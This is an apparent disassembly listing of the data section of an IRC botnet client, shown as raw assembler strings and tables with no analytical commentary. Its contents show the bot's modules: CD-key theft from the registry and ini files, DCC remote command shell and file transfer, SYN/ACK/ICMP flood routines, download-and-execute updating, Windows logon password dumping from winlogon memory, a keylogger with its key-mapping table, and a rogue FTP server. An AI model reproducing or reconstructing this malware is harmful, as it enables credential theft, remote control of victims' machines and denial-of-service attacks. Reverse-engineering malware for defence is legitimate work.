aNwncdkey_ini_0 db 'nwncdkey.ini',0
align 4
aKey2 db 'Key2=',0
align 4
aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation_1 db 'Location',0
align 4
aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0
align 4
aNwncdkey_ini_1 db 'nwncdkey.ini',0
align 4
aKey3 db 'Key3=',0
align 4
aSS db '%s\%s',0 ; DATA XREF: sub_403FBB+79o
align 4
aR: ; DATA XREF: sub_403FBB+8Ao
unicode 0, <r>,0
asc_437BD8: ; DATA XREF: sub_403FBB+DEo
unicode 0, <=>,0
asc_437BDC: ; DATA XREF: sub_403FBB+E9o
unicode 0, <=>,0
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_403FBB+FEo
align 4
aSCdKeyS__0 db '%s CD Key: (%s).',0 ; DATA XREF: sub_403FBB+11Bo
align 4
aSCdKeyS__1 db '%s CD Key: (%s).',0 ; DATA XREF: sub_403FBB+167o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4041AA+Bo
align 10h
aDccFailedToOpe db '[DCC]: Failed to open socket.',0 ; DATA XREF: sub_40449C+47o
align 10h
aDccFailedToO_0 db '[DCC]: Failed to open remote command shell.',0
; DATA XREF: sub_40449C+ABo
asc_437C6C: ; DATA XREF: sub_40449C+138o
dw 0Ah
unicode 0, <>,0
aDccFailedToSen db '[DCC]: Failed to send to Remote command shell.',0
; DATA XREF: sub_40449C+170o
align 10h
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40465D+44o
aDccFailedToBin db '[DCC]: Failed to bind to socket.',0 ; DATA XREF: sub_40465D+82o
align 4
aDccFailedToO_1 db '[DCC]: Failed to open socket.',0 ; DATA XREF: sub_40465D+FDo
align 4
aDccFileDoesnTE db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40465D+127o
align 10h
dword_437D20 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40465D+16Ao
dd 169h
aDccSendTimeout db '[DCC]: Send timeout.',0 ; DATA XREF: sub_40465D+1CBo
align 10h
aDccUnableToOpe db '[DCC]: Unable to open socket.',0 ; DATA XREF: sub_40465D+202o
align 10h
aDccSocketError db '[DCC]: Socket error.',0 ; DATA XREF: sub_40465D+36Bo
align 4
aDccSocketErr_0 db '[DCC]: Socket error.',0 ; DATA XREF: sub_40465D+37Co
align 10h
aDccTransferCom db '[DCC]: Transfer complete to IP: %s, Filename: %s (%s bytes).',0
; DATA XREF: sub_40465D+2FAo
align 10h
aSS_0 db '%s%s',0 ; DATA XREF: sub_404A02+54o
align 4
aDccErrorUnable db '[DCC]: Error unable to write file to disk.',0
; DATA XREF: sub_404A02+83o
align 4
aAB db 'a+b',0 ; DATA XREF: sub_404A02+97o
aDccErrorOpenin db '[DCC]: Error opening file for writing.',0 ; DATA XREF: sub_404A02+ABo
align 10h
aDccErrorOpen_0 db '[DCC]: Error opening socket.',0 ; DATA XREF: sub_404A02+CBo
align 10h
aDccSocketErr_1 db '[DCC]: Socket error.',0 ; DATA XREF: sub_404A02+156o
align 4
aDccTransferC_0 db '[DCC]: Transfer complete from IP: %s, Filename: %s (%s bytes).',0
; DATA XREF: sub_404A02+1CFo
align 4
aDdosDoneWithFl db '[DDoS]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_404C3D+5Bo
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_404CEF+F1o
align 4
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_404CEF:loc_404DFFo
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_404CEF:loc_404E1Bo
aDdosSendErrorD db '[DDoS]: Send error: <%d>.',0 ; DATA XREF: sub_404CEF+302o
align 4
aDownloadCouldn db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_405084+77o
aDownloadFileDo db '[DOWNLOAD]: File download: %s (%dKB transferred).',0
; DATA XREF: sub_405084+183o
align 4
aDownloadUpdate db '[DOWNLOAD]: Update: %s (%dKB transferred).',0
; DATA XREF: sub_405084+195o
align 10h
aDownloadFilesi db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0
; DATA XREF: sub_405084+1D8o
align 10h
aDownloadCrcFai db '[DOWNLOAD]: CRC Failed (%d != %d).',0 ; DATA XREF: sub_405084+262o
align 4
aDownloadDownlo db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0
; DATA XREF: sub_405084+2E1o
aOpen db 'open',0 ; DATA XREF: sub_405084+336o
align 10h
aDownloadOpened db '[DOWNLOAD]: Opened: %s.',0 ; DATA XREF: sub_405084+358o
aDownloadDown_0 db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
; DATA XREF: sub_405084+3C9o
aDownloadUpda_0 db '[DOWNLOAD]: Update failed: Error executing file: %s.',0
; DATA XREF: sub_405084+485o
align 4
aDownloadBadUrl db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_405084+493o
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40562C:loc_40566Fo
aInvalid db 'Invalid',0 ; DATA XREF: sub_40562C:loc_405669o
aDisk db 'Disk',0 ; DATA XREF: sub_40562C:loc_405663o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40562C:loc_40565Do
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40562C:loc_405657o
align 4
aRam db 'RAM',0 ; DATA XREF: sub_40562C:loc_405651o
a?: ; DATA XREF: sub_40562C+1Fo
unicode 0, <?>,0
aFailed db 'failed',0 ; DATA XREF: sub_4056BD+E0o
align 4
aFailed_0 db 'failed',0 ; DATA XREF: sub_4056BD+F1o
align 4
aFailed_1 db 'failed',0 ; DATA XREF: sub_4056BD+102o
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_4056BD+70o
align 4
aSkb_0 db '%sKB',0 ; DATA XREF: sub_4056BD+9Bo
align 4
aSkb_1 db '%sKB',0 ; DATA XREF: sub_4056BD+C6o
align 4
aFailed_2 db 'failed',0 ; DATA XREF: sub_4057E1+3Bo
align 4
aMainSDriveSFai db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0
; DATA XREF: sub_4057E1+58o
align 4
aMainSDriveSSTo db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0
; DATA XREF: sub_4057E1+8Eo
aA db 'A:\',0 ; DATA XREF: sub_4058B3:loc_4058F8o
aFindfileSearch db '[FINDFILE]: Searching for file: %s.',0 ; DATA XREF: sub_405A20+5Co
aFindfileFilesF db '[FINDFILE]: Files found: %d.',0 ; DATA XREF: sub_405A20+C5o
align 4
aS_1 db '%s\*',0 ; DATA XREF: sub_405B38+1Ao
align 10h
aSS_1 db '%s\%s',0 ; DATA XREF: sub_405B38+7Ao
align 4
aSS_2 db '%s\%s',0 ; DATA XREF: sub_405B38+CEo
align 10h
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_405B38+107o
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_405C86+40o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_405C86+55o
align 10h
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_405C86+68o
align 4
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_405C86+73o
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_405C86+80o
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_405C86+8Do
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_405C86+9Ao
align 10h
aUsername: ; DATA XREF: sub_405C86+CEo
unicode 0, <USERNAME>,0
align 4
aUserdomain: ; DATA XREF: sub_405C86+DCo
unicode 0, <USERDOMAIN>,0
align 4
aFindpassTheWin db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
; DATA XREF: sub_405C86+117o
db ' \\%S, User: (%S/(no password)).',0
align 10h
aFindpassUnable db '[FINDPASS]: Unable to find the password in memory.',0
; DATA XREF: sub_405C86:loc_405DCBo
align 4
aFindpassUnab_0 db '[FINDPASS]: Unable to find Winlogon Process ID.',0
; DATA XREF: sub_405C86:loc_405DD2o
aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_405C86+161o
align 4
aFindpassFailed db '[FINDPASS]: Failed to enable Debug Privilege.',0
; DATA XREF: sub_405C86:loc_405DFFo
align 4
aFindpassOnlySu db '[FINDPASS]: Only supported on Windows NT/2000.',0
; DATA XREF: sub_405C86+35o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_405E58+AFo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_405E58+123o
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_405E58+13Eo
align 4
aFindpassTheW_0 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
; DATA XREF: sub_4062BE+70o
db ' \\%S, User: (%S/%S).',0
align 4
aFindpassTheW_1 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
; DATA XREF: sub_406355+C7o
db ' \\%S, User: (%S/%S).',0
align 4
aFindpassTheW_2 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
; DATA XREF: sub_406355+E1o
db ' \\%S, User: (%S/(N/A)).',0
align 10h
dword_438570 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4064A6+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4385BC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4064A6+E3o
dword_4385D8 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_4064A6+118o
dword_4385EC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4064A6+13Fo
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_406614+1E6o
align 4
aSS_3 db '%s %s',0 ; DATA XREF: sub_406614+26Eo
align 10h
aUser db 'USER',0 ; DATA XREF: sub_406614+27Fo
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_406614+294o
align 10h
aPass db 'PASS',0 ; DATA XREF: sub_406614+2A4o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_406614+2B8o
align 10h
aSyst db 'SYST',0 ; DATA XREF: sub_406614+2C8o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_406614+2DCo
align 4
aRest db 'REST',0 ; DATA XREF: sub_406614+2ECo
align 10h
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_406614+300o
align 4
off_438694 dd offset dword_445750 ; DATA XREF: sub_406614+310o
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_406614+324o
align 4
aType db 'TYPE',0 ; DATA XREF: sub_406614+334o
align 10h
aA_0: ; DATA XREF: sub_406614+34Bo
unicode 0, <A>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_406614+35Fo
aType_0 db 'TYPE',0 ; DATA XREF: sub_406614+36Fo
align 10h
aI: ; DATA XREF: sub_406614+386o
unicode 0, <I>,0
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_406614+39Ao
aPasv db 'PASV',0 ; DATA XREF: sub_406614+3AAo
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_406614+3BDo
align 4
aList db 'LIST',0 ; DATA XREF: sub_406614+3F8o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_406614+40Bo
align 4
aPort db 'PORT',0 ; DATA XREF: sub_406614+439o
align 4
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_406614+472o
db ']',0
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_406614+4B6o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_406614+4E9o
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_406614+4FAo
align 10h
aRetr db 'RETR',0 ; DATA XREF: sub_406614+50Ao
align 4
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_406614+522o
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_406614+54Eo
aFtpFileTransfe db '[FTP]: File transfer complete to IP: %s (%s).',0
; DATA XREF: sub_406614+567o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_406614+5B2o
align 10h
aQuit db 'QUIT',0 ; DATA XREF: sub_406614+5BFo
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_406614+5D3o
aRb_0 db 'rb',0 ; DATA XREF: sub_406C9A+24o
align 4
aGet db 'GET ',0 ; DATA XREF: sub_406D34+26Fo
align 10h
asc_438880: ; DATA XREF: sub_406D34+292o
unicode 0, < >,0
asc_438884: ; DATA XREF: sub_406D34+297o
unicode 0, < >,0
aGet_0 db 'GET ',0 ; DATA XREF: sub_406D34+2A2o
align 10h
asc_438890 db 0Dh,0Ah,0 ; DATA XREF: sub_406D34+2D5o
align 4
aHttpdErrorServ db '[HTTPD]: Error: server failed, returned: <%d>.',0
; DATA XREF: sub_406D34+3FEo
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_407195+5Eo
align 10h
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_407195:loc_4071FAo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_407195+83o
align 10h
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_407195+97o
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_407195+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_407195+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aS_3 db '\%s',0 ; DATA XREF: sub_407317+2Fo
aS_4 db '%s',0 ; DATA XREF: sub_407317+3Ao
align 10h
aSS_4 db '%s%s',0 ; DATA XREF: sub_407317+EAo
align 4
asc_438AE8: ; DATA XREF: sub_407317+FBo
dw 0Ah
unicode 0, <>,0
asc_438AEC: ; DATA XREF: sub_407317+157o
unicode 0, <*>,0
aHttpdWorkerThr db '[HTTPD]: Worker thread of server thread: %d.',0
; DATA XREF: sub_407317+20Bo
align 10h
aHttpdFailedT_0 db '[HTTPD]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: sub_407317+28Fo
align 4
asc_438B58: ; DATA XREF: sub_4075C7+29o
dw 0Ah
unicode 0, <>,0
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+4Bo
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4075C7+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4075C7+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+147o
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
a__ db '..',0 ; DATA XREF: sub_4075C7+232o
align 4
a_: ; DATA XREF: sub_4075C7+24Do
unicode 0, <.>,0
aPm db 'PM',0 ; DATA XREF: sub_4075C7+285o
align 4
aAm db 'AM',0 ; DATA XREF: sub_4075C7+290o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4075C7+2BAo
aS_5 db '<%s>',0 ; DATA XREF: sub_4075C7+2E4o
align 10h
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4075C7+30Eo
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+330o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aSS_5 db '%s%s/',0 ; DATA XREF: sub_4075C7+374o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4075C7+3BBo
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4075C7:loc_407989o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4075C7+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aS_6 db '<%s>',0 ; DATA XREF: sub_4075C7+413o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+434o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4075C7+471o
align 4
aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+486o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aSS_6 db '%s%s',0 ; DATA XREF: sub_4075C7+4CAo
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4075C7+511o
align 4
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4075C7:loc_407ADFo
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4075C7+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+589o
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4075C7+618o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4075C7+64Eo
align 4
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_407D34+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
aIcmpErrorSocke db '[ICMP]: Error: socket() failed, returned: <%d>.',0
; DATA XREF: sub_407E55+49o
aIcmpErrorSetso db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0
; DATA XREF: sub_407E55+C2o
aIcmpInvalidTar db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_407E55+12Ao
align 10h
aIcmpErrorSendi db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return'
; DATA XREF: sub_407E55+307o
db 'ed: <%d>.',0
align 4
aIcmpDoneWithSF db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s'
; DATA XREF: sub_407E55+397o
db 'ec (%dMB).',0
aIdentdClientCo db '[IDENTD]: Client connection from IP: %s:%d.',0
; DATA XREF: sub_40823C+BBo
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40823C+113o
aIdentdErrorSer db '[IDENTD]: Error: server failed, returned: <%d>.',0
; DATA XREF: sub_40823C+16Eo
aNotice db 'NOTICE',0 ; DATA XREF: sub_40842D+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40842D+16o
aS_7 db '%s',0 ; DATA XREF: sub_40842D+3Bo
align 10h
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40842D+58o
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4085A9:loc_40868Co
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_439914 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4085A9+2B6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_43994C dd 5Ch ; DATA XREF: sub_4084C8+2Co
dword_439950 dd 6261h ; DATA XREF: sub_4084C8+4Eo
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4084C8+88o
align 10h
aKeylogS db '[KEYLOG]: %s',0 ; DATA XREF: sub_4084C8+AEo
align 10h
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4085A9+8Fo
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4085A9+1E5o
align 4
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4085A9+228o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40888A+Ao
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40888A+23o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40888A+2Bo
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40888A+38o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40888A+45o
align 4
aModule32first db 'Module32First',0 ; DATA XREF: sub_40888A+52o
align 4
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40888A+5Fo
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40888A+6Co
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40888A+79o
align 10h
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40888A+86o
